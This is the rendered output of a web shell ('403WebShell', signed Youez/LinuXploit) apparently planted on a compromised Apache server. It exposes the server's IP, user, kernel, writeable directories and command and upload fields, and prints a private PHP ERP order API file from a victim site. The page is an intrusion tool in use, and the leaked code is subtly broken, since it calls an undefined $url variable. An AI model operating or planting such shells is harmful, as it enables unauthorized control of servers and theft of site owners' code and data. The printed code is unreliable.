Warning: chmod(): Operation not permitted in /var/www/alexvillarreal/wp-content/plugins/custom-post-type-ui/custom-post-type-ui.php on line 8
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.114
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/brainwavemx/app/Api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/brainwavemx/app/Api/ErpSoapOrderApi.php
<?php

declare(strict_types=1);

namespace App\Api;

use App\Model\ClientesModel;
use App\Model\ConfigModel;
use App\Model\OrderModel;
use Bigcommerce\Api\Client;
use Mosaico\Api\BaseApi;
use Monolog\Logger;
use Monolog\Handler\StreamHandler;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;

class ErpSoapOrderApi extends BaseApi
{

	public function sendGeneraPedido(object $order, object $products, float $exchange_rate)
	{
		$config = new ConfigModel();
		$api_rest_url = $config->getValue('api_erp_soap_order');

		$client = new \SoapClient( $url . "?wsdl",
			array(
			  "location" => $url . "?wsdl",
			  "trace" => 1,
			)
		);

		$xml = $this->setSoapBody((object) $order, (object) $products, (float) $exchange_rate);
		
		//echo $xml;
		
		$soapBody = new \SoapVar($xml, \XSD_ANYXML);

		$result = new \StdClass();

		$result->call = $client->__SoapCall('generaPedido', array($soapBody));
		$result->request = $client->__getLastRequest();

		//debug
		//print_r($result->call->response);
		//echo '<br>status: ' . $result->call->response->orderResponse->status . '<br>';
		//echo "REQUEST: " . $result->request . '<br>';

		return $result;

		
	}

	public function setSoapBody(object $order, object $products, float $exchange_rate)
	{
		$cliente = new ClientesModel();
		$customer = $cliente->getNumeroCliente($order->customer_id);
		if ($customer->num_rows > 0) {
			$numero_cliente = $customer->row['numero_cliente'];
		} else {
			$numero_cliente = 689;
		}

		switch ($order->default_currency_code) {
			case 'USD':
				$moneda = 'DLS';
				break;
			case 'MXN':
				$moneda = 'NAL';
				break;
			default:
				$moneda = 'DLS';
				break;
		}

		$detail = '';
		foreach ($products as $product) {
			$detail = $detail . 
			'<detailOrder>
				<art>' . $product->sku . '</art>
				<cantidad>' . $product->quantity . '</cantidad>
				<ieps>0</ieps>
				<iva>' . $product->price_tax . '</iva>
				<p_ieps>0</p_ieps>
				<p_iva>16</p_iva>
				<precio>' . $product->price_inc_tax . '</precio>
				<subtotal>' . $product->total_ex_tax . '</subtotal>
				<total>' . $product->total_inc_tax . '</total>
			</detailOrder>
			';
		}

		$xml = '
		    <ns1:generaPedido>
				<request>
				  <headerOrder>
				    <cte>' . $numero_cliente . '</cte>
				    <emp>DIM</emp>
				    <fecope>' . date('Ymd', strtotime($order->date_created)) . '</fecope>
				    <id>' . $order->id . '</id>
				    <ieps>0</ieps>
				    <iva>' . $order->total_tax . '</iva>
				    <moneda>' . $moneda . '</moneda>
				    <subtotal>' . $order->subtotal_ex_tax . '</subtotal>
				    <tipo_cambio>' . $order->currency_exchange_rate . '</tipo_cambio>
				    <total>' . $order->subtotal_inc_tax . '</total>
				    ' . $detail . '
				  </headerOrder>
				</request>
			</ns1:generaPedido>
		';

		return $xml;
	}


}

Youez - 2016 - github.com/yon3zu
LinuXploit